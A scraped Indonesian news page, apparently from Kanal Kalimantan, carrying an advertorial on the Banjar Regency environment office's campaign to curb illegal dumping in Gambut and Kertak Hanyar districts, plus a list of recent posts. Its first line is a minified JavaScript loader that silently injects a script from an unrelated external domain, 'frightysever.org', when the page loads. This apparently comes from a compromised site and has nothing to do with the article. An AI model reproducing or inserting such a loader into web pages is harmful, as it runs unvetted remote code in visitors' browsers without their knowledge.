(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Gambut Hanyar Babungas Prioritas Penanganan Sampah


MARTAPURA, Perda nomor 4 tahun 2016 tentang pengelolaan sampah, Dinas Lingkungan Hidup (DLH) Kabupaten Banjar membidik penanganan sampah di wilayah Kecamatan Gambut dan Kecamatan Kertak Hanyar dengan menempatkan TPS-TPS baru untuk menghindari titik pembuangan sampah liar.

Kecamatan Gambut dan Kecamatan Kertak Hanyar yang merupakan salah satu penyumbang terbesar sambah di Kabupaten Banjar. Melihat kondisi itu, DLH Kabupaten Banjar terus berupaya melalui kerja sama dengan pihak pengusaha dan bersinegi dengan unsur lain menciptakan gerakan Gambut Hanyar Babungas.

Menurut Riza Rusadi, Kabid Pengelolaan Sampah Taman dan Limbah Dinas Lingkungan Hidup Kabupaten Banjar mengatakan, saat ini pihaknya gencar untuk melakukan sosialisasi, berdasarkan Perda Nomor 4 tahun 2016 tentang pengelolaan sampah, terutama di daerah Kecamatan Gambut dan Kecamatan Kertak Hanyar.

“Oleh karena itu perlu adakan sosialisasi yang maksimal, juga menempatkan TPS-TPS baru untuk menghindari titik pembuangan sampah liar,” kata Riza.

Kesadaran masyarakat yang kurang atas membuang sampah sembarangan padahal ada Perda yang mengatur itu juga belum sepenuhnya terlaksana. Tujuan dilakukan sosialisasi tersebut adalah untuk memperkuat Perda itu.

“Padahal dalam tiga bulan belakangan selama 1×24 jam di daerah Kertak Hanyar itu sendiri sudah diturunkan 12 truk, namun sampahnya masih ada, untuk itu sekarang kita fokuskan lagi gerakan Gambut Hanyar Babungas,” tambah Riza.

Foto : rendy

Wilayah Kecamatan Gambut dan Kertak Hanyar memang menjadi momok untuk kebersihan sampah, ia berharap dengan gerakan Gambut Hanyar Babungas, sosialisasi ke masyarakat bisa tersampaikan langsung, akan kesadaraan masyarakat terhadap sampah.

Sehingga sampah yang ada di daerah Gambut maupun Kertak Hanyar bisa berkurang hingga 75 %. Walaupun saat ini masih terkendala sarana dan prasarana TPS itu  sendiri.

“Sampai saat ini kita masih belum bisa mencari lahan TPS resmi tersebut, itu yang menjadi kendala, ada lahan desa namun jauh di dalam desa, tentunya juga menyulitkan,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

16 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

18 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.